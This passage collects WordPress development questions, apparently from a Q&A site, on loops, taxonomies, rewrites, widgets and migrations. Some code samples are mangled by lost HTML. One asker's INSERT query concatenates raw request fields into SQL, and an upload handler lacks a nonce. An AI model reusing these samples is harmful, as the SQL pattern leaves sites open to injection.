How to display nothing (instead default) when no user gravatar is present?

Is there a way to show no gravatar in comment list for the commenters that are not registered at gravatar.com? As much as I saw, gravatar.com doesn't return a special code when no avatar is registered. The temporary, not so elegant solution I applied for the moment is displaying a transparent 1x1px gif but I'd like to return no image if possible. I've also tried 3-4 gravatar plugins but none does this properly.


Create static front-page with 3-5 recent posts

I am struggling with front/landing page customization for my custom designed theme. I have designed custom theme and pretty much coded it using the _Underscore boilerplate_. As I understands, the codex suggests that I create a front-page.php and customize it there. In _setting>reading_ I selected A static/Front page (my desired page where I change the static welcoming message). Underneath I want to have 3-5 recent posts with thumbnails (enabled in my functions) and excerpts. My front-page.php:                                 <?php while ( have_posts() ) : the_post(); ?>                      <?php get_template_part( 'content', 'page' ); ?>                  <?php endwhile; // end of the loop. ?>
Recent Posts

             <?php                 $args = array( 'numberposts' => '5' );                 $recent_posts = wp_get_recent_posts( $args );                 foreach( $recent_posts as $recent ){                     echo '
' .   $recent["post_title"].'
 ';                 }             ?>
                This works, however I have no clue how to load thumbnails + excerpts. Most importantly is this correct?


CSV import stopped working when I upgraded to WP 3.5.2

I used to import Greek text in posts using various plug-ins such as CSV improter. All these stopped working once I upgraded WP to 3.5.2 Any known issues? Thanks.


Preventing 404 error on empty date archive

On a date archive page when no posts exist (for that date) WordPress throws across to the 404 page. Is there a way to make WordPress continue to use the original archive instead of the 404. That way I can use `if ( have_posts() )` condition to output a "No posts found" message.


How to hack YARPP plugin to find related posts for custom post type?

Does anybody knows how I can hack YARPP (Yet-Another-Related-Post-Plugin) to find related posts for custom post type? I really can't find any better related post plugin than YARPP. But, unfortunately, it does not support custom post-type yet. Cheers!


How to manage attachment relationships for specific posts in WP 3.5+

In WordPress 3.5, media management has changed entirely. Also, relating attachments to specific posts is (I believe) basically only being done for backward compatibility. Therefore, after uploading attachments from within the media modal to a post of any post type, it establishes a relationship where the post ID is the parent of the attachment ID, like it's been for a long time. However, once an attachment is uploaded to a post, there is no place to manage attachments that have a relationship to the post from within the media modal on the post. After I upload the images, I can immediately select and insert them, but because the media gets dumped into the site-wide media section, I can no longer manage attachments to a specific post like in < 3.5 as seen here: ![enter image description here](http://i.stack.imgur.com/wpm7O.png) This creates the following issue: Managing relationships of attachments to specific posts is impossible without completely deleting the media and re-uploading. That alone is not different from before. However, now that media is dumped into the same tab as all other media, and there's not a tab to manage media w/ a relationship to a specific post, it becomes incredibly difficult to even find the media attached to a specific post down the road. Because you could attach media to a post, and then down the road, after many attachments have been uploaded to other posts, you want to go back to an old post (think a slider or product) and change out the attached media. Good luck finding your media, because the media tab in the new editor does not order all media first by those attachments with a relationship to the current post. Here's the example pic: ![enter image description here](http://i.stack.imgur.com/pOE5H.jpg) Not so bad here, because it's only one or two posts separated. But imagine going back months later. It's impossible to find the related attachments for that post. There are many, many plugins, and custom page templates out there that utilize the relationship between a post and it's related attachments. So removing those relationships is going to be very, very hard in the future. I assume the answer is to create another tab on the left for the media attached to a particular post. Or to make the orderby for the media tab start with attachments that are related to the current post. That's a short term fix. Long term, other ways to relate media to a post need to be created by these plugin and theme developers. I assume there are available hooks to create new tabs, and to add meta data to the attachment and post to create the relationship. Am I right in my concern? Ideas to fix?


Same term from custom taxonomy in two different custom post types?

I use a front end form to insert custom post types, an input is used for inserting terms (keywords) to a custom taxonomy for this custom post type. I just noticed in the back-end when I view the terms list in the taxonomy. Only one unique term has been added even if I create multiple posts and use the same terms in each. Though in the back-end it does say how many custom posts the term is associated with. From the back-end I get an error when trying to add a duplicate term. That's expected. I read though that WordPress in some cases creates a duplicate but the slug is unique. On my custom post type single template page I have this function to list the terms               $keyword_terms = wp_get_object_terms($post->ID, 'keyword');     if(!empty($keyword_terms)){       if(!is_wp_error( $keyword_terms )){         echo '
';         foreach($keyword_terms as $term){           echo '
slug, 'keyword').'">'.$term->name.'
';          }         echo '
';       }     }      The slug / term link is the same on all the custom posts. Is that normal behavior of WordPress with custom taxonomies/terms? Is there a function to use to have the terms inserted and unique slugs generated?


Right align a youtube video

I'm trying to right align (class="alignright") a YouTube video AND allow my client to edit the surrounding text in the future using the visual editor. I simply added class="alignright" to the tag containing the embed using the HTML editor however when any changes are made to the text using the visual editor WordPress strips the extra code. I think it might be impossible to get the result that I want but could anyone confirm my suspicions or give me a workaround.


Can 'Custom Field' data be inserted into this Short Code?

I have created a custom page template. In the template, I use a shortcode for JJ NextGen JQuery Slider. I would like the page to have a 'custom field' called 'Image Gallery' with a value that derives from NEXTGEN Gallery. I am trying to get the page template to recognize the dynamic input of the value from the shortcode but I haven't had success. Any advice is much appreciated! Here is the code I am using:               <div id="prop_images">                     <?php echo do_shortcode('[jj-ngg-jquery-slider title="Property" gallery="get_post_meta($post ->ID, 'Image_Gallery', true)" effect="fade" html_id="about-slider" width="400" height="300"]'); ?>                     </div><!-- end prop images-->


Custom Table Column Sortable by Taxonomy Query

I am looking to add a custom column to a custom post type post listing table in the dashboard. I have read many questions / answers on WPSE, along with this article. Although, it seems like everyone wants to query by meta key / value. I am trying to add a taxonomy value (basically a category) to a custom post type table. I would like the column to be sortable, however I am not understanding the query adjustment. Add the column title.               function mbe_column_titles($columns){         $columns['title'] = 'Frequently Asked Question';         $columns['mbe-faq-category'] = 'Category';         return $columns;     }     add_filter('manage_mbe-faqs_posts_columns', 'mbe_column_titles');      Add the row values.               function mbe_column_rows($column_name, $post_id){         if($column_name == 'mbe-faq-category'){             $categories = wp_get_object_terms($post_id, 'mbe-faq-categories');             $the_category = array();             if($categories){                 foreach($categories as $category){                     $the_category[] = $category->name;                 }             }             echo join(', ', $the_category);         }     }     add_action('manage_mbe-faqs_posts_custom_column', 'mbe_column_rows', 10, 2);      Prepare the ordering key,               function mbe_sortable_columns($columns){         $columns['mbe-faq-category'] = 'mbe-faq-category';         return $columns;     }     add_filter('manage_edit-mbe-faqs_sortable_columns', 'mbe_sortable_columns');      I am stumped on how to actually sort the column by the FAQ Category. I would assume this would be a taxonomy query. I am too embarrassed to even post my attempt of handling this, and everything I do seems to fail. I would like to use the `pre_get_posts` filter to handle this if possible.


Safe to say WordPress security releases don't have database upgrades

Since all security releases are based on last released codebase + security patch, I think its safe to say WordPress security releases don't have database upgrades, but I figured I will ask my fellow developers here. Does anyone know of a security release which had one? Or can anyone think of a case where it might have a database upgrade code within it?


Count posts published in one particular day: the lighter way

I would like to get just the number of posts published in one particular day. I'm using this code, but this retrieve lot of code:               $day = date('Ymd');     $query01 = array('numberposts' => -1, 'post_type' => array('post', 'video', 'image', 'review'), 'm' => $day);     $mypost = get_posts($query01);     $counter = count($mypost);     wp_reset_postdata();      Is there a lighter way to obtain the same?


How To Create a Fluid Grid Style Layout For WordPRess Posts?

I know how to setup a masonry layout for WordPress but what I can't figure out is how to make each post's grid be a different size like the example image below. How do I achieve that, is through jQuery?![enter image description here][1] http://i.stack.imgur.com/Ata6N.png


How to keep a Wordpress site synchronized between two servers?

I have a WordPress site running in a dedicated server in hosting A and I would like to keep it synchronized with a copy in another hosting server for fail over protection. Is that possible?


Best way to filter featured image text for a custom post type?

I am trying to change the "Set featured image", "Remove featured image", and "Use as featured image" text links of a custom post type for my plugin Meteor Slides. I found the "admin_post_thumbnail_html" filter hook, and came up with some code that will change "Set featured image" to "Set slide image" for just the slide post type:                   if ((isset($_GET['post_type']) && $_GET['post_type'] == 'slide') || (isset($post_type) && $post_type == 'slide')) {              add_filter( 'admin_post_thumbnail_html', 'meteorslides_set_featured', 9999, 1 );              function meteorslides_set_featured( $content ) {                  return str_replace( 'Set featured image', 'Set slide image', $content );              }          }      I tried the same thing for "Remove featured image" and it did not work, however I can use this code to make this change for _all_ post types:                   add_filter( 'admin_post_thumbnail_html', 'meteorslides_remove_featured', 9999, 1 );          function meteorslides_remove_featured( $content ) {              return str_replace( 'Remove featured image', 'Remove slide image', $content );          }      Does anyone have any thoughts as to why filtering "Set featured image" would behave differently than "Remove featured image"? Changing "Use as featured image" seems to be a bit trickier, there isn't a filter for this. But I did find a ticket in Trac where someone else was trying to do the same thing, and there was a suggestion to filter the translation string. This solution worked pretty well, I was able to change the "Use as featured image" text, but again it is for all post types and I'm not sure how to narrow it down:                   add_filter( 'gettext', 'meteorslides_use_featured', 9999, 4 );          function meteorslides_use_featured( $translation, $text, $domain ) {              $translations = &get_translations_for_domain( $domain );              if ( $text == 'Use as featured image' ) {                  return $translations->translate( 'Use as slide image' );              }              return $translation;          }      The overlaid media window doesn't seem to "know" that I am loading it from a certain post type, so I'm not sure if this change is doable. I did find an answer on here that showed how to change these links with jQuery. I'd prefer to use filters, but if I could figure out how to limit that to one post type that'd be alright too! I've been looking around at some other plugins that use featured images but I haven't been able to find any that have changed all of these strings. Has anyone pulled this off?


Creating two database tables via plugin

I'm working on a voting plugin for my site and I want to create 2 tables: one that stores votes and another that stores voter ips. In Codex it suggests to use an if statement to see if the table has already been created when installing the plugin but how can I alter the code if I'm creating 2 tables? This is my if statement in the plugin install function, currently set to check if 1 table already exists.               ...             $table_name1 = $wpdb->prefix . "voters_ip";        $table_name2 = $wpdb->prefix . "vote_posts";        $installed_ver = get_option( "postvote_version" );               if($wpdb->get_var("show tables like '$table_name'") != $table_name1) { //unsure how to add both tables                $sql = "CREATE TABLE " . $table_name1 . " (           id bigint(20) NOT NULL AUTO_INCREMENT,           vote_post_id bigint(20) NOT NULL,           voter_ip varchar(100) NOT NULL,           UNIQUE KEY id (id)         );";                $sql = "CREATE TABLE " . $table_name2 . " (           id bigint(20) NOT NULL AUTO_INCREMENT,           vote_post_id bigint(20) NOT NULL,           up int(11) NOT NULL,           ddown int(11) NOT NULL,           UNIQUE KEY id (id)         );";                require_once(ABSPATH . 'wp-admin/includes/upgrade.php');           dbDelta($sql);                add_option("postvote_version", $postvote_version);        }          ....      What is the correct way to check if both tables exist?


How To Provide Sub-Blogs Their Own Domain Names?

I ran a search that did not yield that many results. Is it possible, and how can each sub-blog of a multi-site installation be given its own domain name?


Include multiple page ids in loop

Haven’t slept in about 30 hours now, can someone please help as the below code doesn’t work, it just displays all posts etc :|               <?php $args = array       (             'page' => array(139, 54)       );            $loopy = new WP_Query($args);       while ($loopy->have_posts()) : $loopy->the_post(); ?>
<?php the_title();                    echo '
';                  echo '
';             endwhile;       ?>


Dropzone.js and wordpress plugin

I'm currently using Dropzone.js within a personal plugin and I'm able to create the dropzone, however when I pass in plugins_url as the action I'd like to get the files and add them to the wordpress media using the usual insert_attachment function found on the wordpress documentation. Dropzone:               <form id="udev-dropzone" method = "post" action="<?php echo plugins_url('/unrealdevs-portfolio/library/components/PortfolioUploader.php'); ?>" class="dropzone" enctype="multipart/form-data">         <input type="hidden" name="submitted" id="submitted" value="1" />     </form>      My statement in PortfolioUploader.php to check for files (I know I need to add a nonce):               if ( $_FILES ) {     $files = $_FILES;     $user = $_POST['user_id'];     foreach ($files['name'] as $key => $value) {         if ($files['name'][$key]) {             $file = array(                 'name'     => $files['name'][$key],                 'type'     => $files['type'][$key],                 'tmp_name' => $files['tmp_name'][$key],                 'error'    => $files['error'][$key],                 'size'     => $files['size'][$key]                 );                      $_FILES = array("upload_attachment" => $file);                 update_udevdb($user, $file); //Dismiss this line.                 foreach ($_FILES as $file => $array) {                     $newupload = insert_attachment($file);                     var_dump($file);                 }             }         }     }      insert_attachment function:               function insert_attachment($file_handler) {            // check to make sure its a successful upload       if ($_FILES[$file_handler]['error'] !== UPLOAD_ERR_OK) __return_false();            require_once(ABSPATH . "wp-admin" . '/includes/image.php');       require_once(ABSPATH . "wp-admin" . '/includes/file.php');       require_once(ABSPATH . "wp-admin" . '/includes/media.php');            $attach_id = media_handle_upload( $file_handler, 0 );     }      Can anyone assist me? :) **EDIT: Here is the code that was used to correctly insert_attachment**               function udev_before_uploader() {      if ( !empty($_FILES) ) {         $files = $_FILES;         foreach($files as $file) {             $newfile = array (                 'name' => $file['name'],                 'type' => $file['type'],                 'tmp_name' => $file['tmp_name'],                 'error' => $file['error'],                 'size' => $file['size']             );                  $_FILES = array('upload'=>$newfile);             foreach($_FILES as $file => $array) {                 $newupload = insert_attachment($file);             }         }     }                    }


How to set the default value as the saved value once a form of widget is saved?

I tried doing this for the function form :               <?php     function form(){              //Set up some default widget settings.              $defaults = array( 'uid' => __('121232', 'example'), 'height' => __('250px', 'example'), 'width' => __('170px', 'example') );            $instance = wp_parse_args( (array) $instance, $defaults );          ?>
             <label for="<?php echo $this->get_field_id( 'uid' ); ?>"><?php _e('User ID:', 'example'); ?>             <input id="<?php echo $this->get_field_id( 'uid' ); ?>" name="<?php echo $this->get_field_name( 'uid' ); ?>" value="<?php echo $instance['uid']; ?>" style="width:100%;" />

             <label for="<?php echo $this->get_field_id( 'height' ); ?>"><?php _e('Height:', 'example'); ?>             <input id="<?php echo $this->get_field_id( 'height' ); ?>" name="<?php echo $this->get_field_name( 'height' ); ?>" value="<?php echo $instance['height']; ?>" style="width:100%;" />

             <label for="<?php echo $this->get_field_id( 'width' ); ?>"><?php _e('Width:', 'example'); ?>             <input id="<?php echo $this->get_field_id( 'width' ); ?>" name="<?php echo $this->get_field_name( 'width' ); ?>" value="<?php echo $instance['width']; ?>" style="width:100%;" />
              <?php     }              ?>      I can use the default values as I have given, but after clicking the on save button with some other values in form, it returns into the previous default values. In the front-end, the widget is working fine along with the values I have chosen manually, but in the admin panel, the form is showing the default values as it's in the code.


Extending auth_cookie_expiration based on user role

I'm trying to extend the lifespan of the authentication cookie, but only for administrators. My code in functions.php is:               add_filter( 'auth_cookie_expiration', 'change_admin_cookie_logout' );     function change_admin_cookie_logout( $expirein ) {         if ($user_id == current_user_can('promote_users')) {           return 60;  // yes, I know this is 1 minute         } return 20;     }      The problem I'm having is twofold:   1. When I leave off the else statement, then login fails. In other words, I seem to have to define the expiration time for admins & non-admins, rather than singularly modifying the admin expiration time.   2. the above formula ignores "remember me" and applies it globally. I'd like it to apply only when "Remember Me" is checked. I've tried tweaking wp_set_auth_cookie but hit some walls and came back to this method. Any help is greatly appreciated!


How do I display two separate taxonomy archives for two post types that share a single taxonomy?

I have a custom content type, "products", which shares the category taxonomy with posts. We're using posts to discuss and review products. The idea is to have two separate URLs:   * /discussion/category/term/ : Displays a listing of posts belonging to a specific term with a "related products" area pulling from the same term   * /products/category/term/ : Displays a listing of products belonging to that term with a "related discussions" area pulling from the same term I can use the default category/archive templates with a permalink front for posts, and the first is solved by default. But since each taxonomy only has one template set, how can I achieve the second? The above URLs are examples, and all archive types would ideally work with the normal permalink structures after the initial front/slug. Looking at similar questions, I've seen suggestions to use two different taxonomies with the same terms, but as of WordPress 3.7 terms of two different taxonomies can no longer share a slug, so relating the two is problematic for a non-technical site manager. I also know how to use get_query_var('post_type') to differentiate the two post types, but that doesn't solve the issue of separate URLs. Any help is greatly appreciated!


Create WordPress posts from JSON array using plugin in admin

I'm writing a WordPress plugin that I'd like to do the following:   1. Add a WordPress plugin admin page that contains a button   2. When you click the button, it loads an array of JSON objects from a file, then creates a WordPress post for each object I got #1 done, and I can see the array of JSON objects loading upon button click since I use `console.log`. (I made the button using this tutorial \- uses AJAX.) But, how would I go about giving WordPress access to the JSON array so I can create posts using `wp_insert_posts`? Is this even possible?


Widget Logic - Target 1 URL

TestSite.com/?property=Name How do I target only this URL with conditional tags and widget logic. I've tried is_singular( 'Name' ), but that didn't work.


Searchform for searching specific categories

<form id="searchform" method="get" action="<?php echo home_url(); ?>">     <input type="text" name="s" id="s" size="15" />     <?php wp_dropdown_categories( 'show_option_none=Select' ); ?>     <input type="submit" value="Search" />     </form>      This snippet gives me a searchbox with a selectbox in which I can choose which category I want to search in. That's nice, but **I don't want to show it ALL categories that I have, no, I want to show it specific categories.** How can I do this? Is that even possible?


Using variable to display a page with a different stylesheet

Is it possible to implement a different stylesheet for a page using a url variable, for example **Normal URL: www.example.com/page** Would use the normal stylesheet **Alternative URL: www.example.com/page?=alt** Would use an alternative stylesheet


Accidentally changed the url

I happened to accidentally change the url from my website ... I have read a so many articles about what to do and I understand that I probably need to change something from a database, and that it is easiest to do through phpmyadmin, but when I get there it looks nothing like the guides i've been watching. I can't find anywhere I can log in, but it seems that I should download it ... so then I did it and it felt like it seemed more like a strange search tool ... I do not understand, someone please help me!!


Is there a reason I cannot get the current category in a loop?

I think I am doing this wrong but if I do:               if(have_posts()){         $category_id = get_query_var('cat');     var_dump($category_id);         while (have_posts()){             the_post();         }     }      the var dump comes back empty. Why? Is there a better way to get the current category object in a loop? the same question applies to tags. Can I also get the current tag object if this was a `is_tag()`?


Custom Page Template not working when site moved from subfolder

I have been testing and redesigning my site in a subfolder: http://theseattlevine.com/wordpress2013 Today I am launching the site and have followed these instructions (http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory) to make the subfolder display as the main site. I have done this many times before without issue. Everything seems to be working fine except for one of my page templates. If you go to the new site, now at http://theseattlevine.com the "Publish" button from the main nav is throwing a 404 error. I have that page set up to use a custom template called "publishing center" but for some reason it is not working on the new setup (it worked fine before). I have tried resetting permalinks as well as completely deleting the .htaccess file and then re-saving permalinks, and it's still not working. All of my posts and other pages seem to work fine. I can't figure out what's wrong, can anyone give some insight?


Custom Post Type Taxonomy Filters

Im really struggling to piece this functionality together, and hope someone can help or provide snippets to get me there. So I'm creating a section on a website where stories are published, I have created a custom post type for the stories section and taxonomies for the story types (category) and story tags (the tags). Everything is working fine and displaying correctly in that respect. Heres the setup details:   * Custom Post Type: stories   * Custom Taxonomy (the category): story-type   * Custom Taxonomy (the tags): story-tags I need to be able to filter posts on a landing page by 4x options:   * Story Type Taxonomy (Chapter or Extract, Featured, Flash Fiction, Micro Fiction, Poem, Short Story)   * Story Tags Taxonomy (Debut, Funny, True Story)   * by Month (jan, feb, march, etc…)   * Sort by (most read, most recent) So an example: Please show me all Fiction stories tagged funny in June and sort them by most read. I'm not fussy where the results are displayed as long as they are accurate. The results page would then be titled "Your Results" Thanks for your time so far...


How to Set Limit with WordPress Get Bookmarks Shortcode

I just need some help with a WordPress shortcode function. I would like to create a list of links based on the link_category inside a post with a shortcode. I had the shortcode working until I added the limit argument to the function. So Basically can someone help me correct this problem? The code can be seen below, as copied from my functions.php file. Please note that I am no php expert, but I can edit/break existing code like a champ. The site in question is http://linuxlibrary.org I appreciate the help!               add_shortcode('lynx', 'lynx_shortcode_handler');          function lynx_shortcode_handler($atts)     {         // extract parameters         $parms = shortcode_atts(array(             'cat_name' => 'Learn More',             'limit' => '5',             'use_description' => 'false',             'use_image' => 'false',             'before_line' => '
',             'after_line' => '
     ',             'before_content' => '
     ',             'after_content' => '
     ',             'target' => '',             'xfn' => '',             ), $atts);              $cat_name = $parms['cat_name'];         $use_description = strtolower($parms['use_description']);         $limit = $parms['limit'];         $use_image = strtolower($parms['use_image']);         $before_line = $parms['before_line'];         $after_line = $parms['after_line'];         $before_content = $parms['before_content'];         $after_content = $parms['after_content'];         $target = $parms['target'];         $xfn = $parms['xfn'];              // process t/f options         $b_use_description = false;         if (($use_description == 'yes') || ($use_description == 'y') ||             ($use_description == 'true') || ($use_description == '1'))         {$b_use_description = true;}              $b_use_image = false;         if (($use_image == 'yes') || ($use_image == 'y') ||             ($use_image == 'true') || ($use_image == '1'))         {$b_use_image = true;}              // exit         return lynx($cat_name, $b_use_description,             $b_use_image, $before_line,             $after_line, $before_content,             $after_content, $target, $xfn);          }               }          function lynx(         $cat_name='Learn More',         $limit='5',         $use_description='1',         $use_image='1',         $before_line='
',         $after_line='
     ',         $before_content='
     ',         $after_content='
     ',         $target='',         $xfn='')     {              // get the data         $args = array('limit' => $limit,                 'orderby' => 'rating',                 'order' => 'DESC',                 'category_name' => $cat_name);         $bookmarks = get_bookmarks($args);              // process the data         $output = $before_content;         foreach ($bookmarks as $bmk)         {             $bmk_link = $bmk->link_url;             $bmk_name = $bmk->link_name;             $bmk_description = $bmk->link_description;             $bmk_image = $bmk->link_image; // works best with icons (like favicon.ico)             $href = '' . $bmk_name . '';                  $output .= $before_line;             if ($use_image == '1')             {                 // assumes 16x16 icons and aligns margin accordingly                 // MSIE has issues with some favicon.ico files                 $output .= ' ';             }             $output .= $href;             if ($use_description == '1')             {                 $output .= ' ' . $bmk_description;             }             $output .= $after_line;         }              // exit         $output = $output . $after_content;         return $output;     }


Creating two loops based on different logic

I'm trying to figure out the best way to go about this and I have part of my solution, but I can't figure out all of it. My ultimate goal is within a certain page template, to show the newest post from a CPT of a particular taxonomy, this seems to be the easiest and accomplished with this:               $args=array(         'post_type' => 'portfolio',         'post_status' => 'publish',         'orderby' => 'date',         'order' => 'DESC',         'posts_per_page' => 1,         'type' => 'featured'     );          $portfolio_query = new WP_Query($args);      The next part would be show all of other posts, with the exception of the post that is queried above. Can this be done with a single loop, or will I need multiple loops with offset logic? I'm lost on how to accomplish this. TIA.


INSERTING Data into table with placeholders

I am trying to insert data into a table, getting errors, I have tried messaging the data, but cannot seem to get it to work, can you please help me figure out what I did wrong, please... Here is my code I execute after validation is done:                                  $sql = 'INSERT INTO `tablename` (`file`,`afile`,`type`,`keyword`,`location`,`numbl`,`userul`,`uldate`) values (%s,%s,%s,%s,%s,%s,%s,%d) "'. $_REQUEST['filename'] . '", "' . $url . '", "' . $_REQUEST['filetype'] . '", "' . $_REQUEST['filekeyword'] . '", "' . $_REQUEST['filelocation'] . '", "' . $_REQUEST['filenumbl'] . '", "' . $user_login . '", "' . time() . '"';                         $wpdb->query($sql);                         $_tbInsertId = $wpdb->insert_id;      It is not working. I added the show errors code and it says this:                 WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%s,%s,%s,%s,%s,%s,%s,%d) "LK-Contractor-NOGglRev-16Ld-082214.csv"' at line 1]      I even tried putting a comma AFTER the closing ) in values... but same error. I added "quote" marks around all of the fields, that did not fix it either. Do you see what is causing it? Thanks, Richard


Rewrite Rules Are Redirecting and Not Passing VARs

I have the following code in my functions.php file.               <?php     add_action('init', 'flush_rewrite_rules');          function custom_add_rewrite_rules( $wp_rewrite ) {         $new_rules = array(              'insurance-leads-types/auto-insurance-leads/([^/\.]+)/?$' => 'index.php?pagename=auto-insurance-leads&state=' . $wp_rewrite->preg_index(1),             'insurance-leads-types/home-insurance-leads/([^/\.]+)/?$' => 'index.php?pagename=home-insurance-leads&state=' . $wp_rewrite->preg_index(1)         );         $wp_rewrite->rules = $new_rules + $wp_rewrite->rules;     }     add_action('generate_rewrite_rules', 'custom_add_rewrite_rules');          function add_query_vars( $query_vars ) {       $query_vars[] = 'state';       return $query_vars;     }     add_filter( 'query_vars', 'add_query_vars' );       When I go to the page /insurance-leads-types/auto-insurance-leads/STATENAME/ the URL is redirected to /insurance-leads-types/auto-insurance-leads/ without the trailing STATENAME/ and the variable is not passed to $query_vars. I used Monkeyman's Rewrite Analyzer and everything looks fine: pagename: auto-insurance-leads state: (.[^/]+) Any ideas why the URL is redirecting?


If i have custom post type with 5 custom fields do i have to create a new loop to reference each one?

One custom post type that i've created has 5 custom fields that display specific content for a template that displays them in different areas on the page. My question is if i would have to create another loop for each custom field i'm referencing on my template or if one would suffice? Thanks.


Woocommerce - Get product category 2nd level category

I have 3 levels deep product categories like following : A   |--B   |---C I want to get B, but don't know how to do. I can get all product categories, but don't know how to filter out. Here the code I use to get product categories : ID, 'product_cat' );                           foreach( $product_category as $cat ):                 if( 0 == $cat->parent )                     echo $cat->name;                 endforeach;


Results not being printed

I am trying to run the following code, which i got from the site but i don't see any output.When i do `print_r($product)` only then i get array back.               $args = array(           'post_type' => 'product',            'posts_per_page' => 4       );       $featured_query = new WP_Query( $args );           if ($featured_query->have_posts()) :            while ($featured_query->have_posts()) :                $featured_query->the_post();               $product = get_product( $featured_query->post->ID );               echo $product;         endwhile;          endif;


Mapping external data to tags via term_id

I'm looking at migrating a custom CMS with about 40k posts and about 100k tags into WP. The site covers news about the concert industry and will use tags as artist names associated with each post. There will be external APIs to pull in proprietary images and tour dates for each artist, and they'll need to map to a term_id for the tag which will be the artist name. Internally, a lookup table will need to map against the term_id to generate the API hooks and commerce links. The question is whether a taxonomy within WP--mapping a tag to several columns of associated content hooks--is the best way to come at this, or should this become an external tag-mapping plugin that works outside the WP table structure from the outset.


I broke database after reuploading local version - what exactly happened? Database error

The site was already working but since I wanted to change the website more and my Internet is not good right now, I decided to download the whole wp folder to local drive, and export database. I set up xampp, all went well. Then I was editing and I put it back like this: 1) first I renamed the wp folder to wp_old, and uploaded the new one; 2) then I tried to import the db in phpmyadmin but it didn't let me (something something already exists) - so I renamed the old DB to db_old and imported the new one. I changed the values that referred to 127.0.0.1 to mywebsite.com (home and url) but now if I go to website: Error establishing a database connection and wp-admin gives me: Can’t select database We were able to connect to the database server (which means your username and password is okay) but not able to select the _*_ *_* database. Any idea? Thanks in advance for any feedback I will be really grateful if you take the time to help me In phpmyadmin the situation looks strange ... http://i.imgur.com/IxE4tU2.png \- why do the dbs "stack" like that?


URL with without www shows just a blank page

i have a little problem with my wordpress page... when I enter the URL with www, the page is shown the right way. But when I enter it without www, then it shows just a blank page and the source code just shows the html, head and body tag... www.blumengalerie.ch / Also the page displays this white page when I enter a subpage without the backslash at the end (www.blumengalerie.ch/kontakt/) I called my hoster and he assured me, the both (www/no www) are assigned to the same path... I've updated the permalinks and the .htaccess file shows only the entry for the permalinks...               <IfModule mod_rewrite.c>     RewriteEngine On     RewriteBase /     RewriteRule ^index\.php$ - [L]     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule . /index.php [L]     </IfModule>      Dows anyone know what the problem could be? I could really use some help Thanks Alex


loss of theme options while site deployment in production

i have moved both wordpress folder and the development database on a distant server. Why all my theme options are lost ? where are these options stored if not in wp_options table nor wp_files ?


jQuery autocomplete: retrieving term slug when term name selected

I'm trying to set up a customized searchform that will allow the visitor to search posts linked to term(s) of several taxonomies. The autocomplete part seems to work fine, but I've no idea how to get the term slug so I can build the query string once the visitor has selected the term name. Here is the HTML:                   <fieldset>
             Collections :              <input id="collection">

             Sujets :              <input id="sujet">

             Lieux :              <input id="lieu">

             Mots-clés :              <input id="tag_perso">
          </fieldset>      The Javascript:               jQuery(function() {          jQuery( "#collection" ).autocomplete({ source: availableTags.collection });     jQuery( "#sujet" ).autocomplete({ source: availableTags.sujet });     jQuery( "#lieu" ).autocomplete({ source: availableTags.lieu });     jQuery( "#tag_perso" ).autocomplete({ source: availableTags.tag_perso });      and the PHP:               function get_autocomplete_source($taxonomy) {     $args = array(         'hide_empty'    => 0,         'fields'        => 'all',     );     $term_objects = get_terms($taxonomy, $args);     $terms = array();     foreach ($term_objects as $term_object)      {         $return_object = new stdClass;         $return_object->value = $term_object->name;         $return_object->slug = $term_object->slug;         $terms[] = $return_object;     }     return $terms;}      the script having been localized this way:               wp_localize_script('cevennes_autocomplete', 'availableTags', array(     'collection'    => get_autocomplete_source('1-collection'),     'sujet'         => get_autocomplete_source('2-sujet'),     'lieu'          => get_autocomplete_source('3-lieu'),     'tag_perso'     => get_autocomplete_source('4-tag_perso')     ));      I'm a bit lost with Javascript. Could someone help? Thanks a lot.


Custom Login Errors and variables I can use

I need to change this error message from including the username to the users email address. I've checked this question and answer out and it helped, but didn't go far enough for me. Change login error messages I took this code from the `wp_includes/user.php` core file and I know that I can use the filter `login_errors` to override this message. My question is what variables do I have access to in this filter? How do I switch this out for the email? ` '<strong>ERROR</strong>: The password you entered for the username <strong>%1$s</strong> is incorrect. <a href="%2$s" title="Password Lost and Found">Lost your password</a>?' ` Here's what I have so far, but I don't know what variable I need to use to get it working.               add_filter('login_errors','cc_login_error_message');          function cc_login_error_message($error){         //check if that's the error you are looking for         $pos = strpos($error, 'incorrect');         if (is_int($pos)) {             //its the right error so you can overwrite it             $error = sprintf( __( 'ERROR: The password you entered for the username %1$s is incorrect. Lost your password?' ), $user_email, wp_lostpassword_url() );         }         return $error;     }      Any ideas? Specifically the $user_email variable in my script returns nothing, I'm not sure if there is such a variable, but that one I just made up.


What hook to use for loading a custom class extension during Theme initialization?

I'm trying to organize some things in my custom theme, and so I'm using `require` to load in some custom classes I've created that implement native WordPress classes. When I code the class right into my theme's `functions.php` file, everything is hunky-dory... but move the class into a `THEMEDIR/utilities/extendWalker.extension.php` I get an error that the dependent Interface (the `WP_NAV_WALKER` from `/wp-includes/nav-menu- template.php`) can't be found... even though it does indeed exist in that location. I can only surmise that I need to be loading externally defined classes on one of the action hooks during theme initialization, but which one? I've tried to search the codex, but searching codex or google for something like this will get you a thousand results you don't want. I need to make sure my theme is built properly, so things like nav menus work properly.. and I'm afraid to use the plugin hooks. What's the best hook to use for theme utility classes? (stuff you might look to do via your `functions.php` file) I'm currently getting it to work using:               add_action('plugin_init','loadMyClass');     function loadMyClass(){         require_once THEMEDIR . '/utilities/myclass.php'     }      but don't want problems down the road with conflicts cause by scripts from plugins installed by the users or site admins.


Is "orderby" in WP Meta Query conflicting with Meta Query?

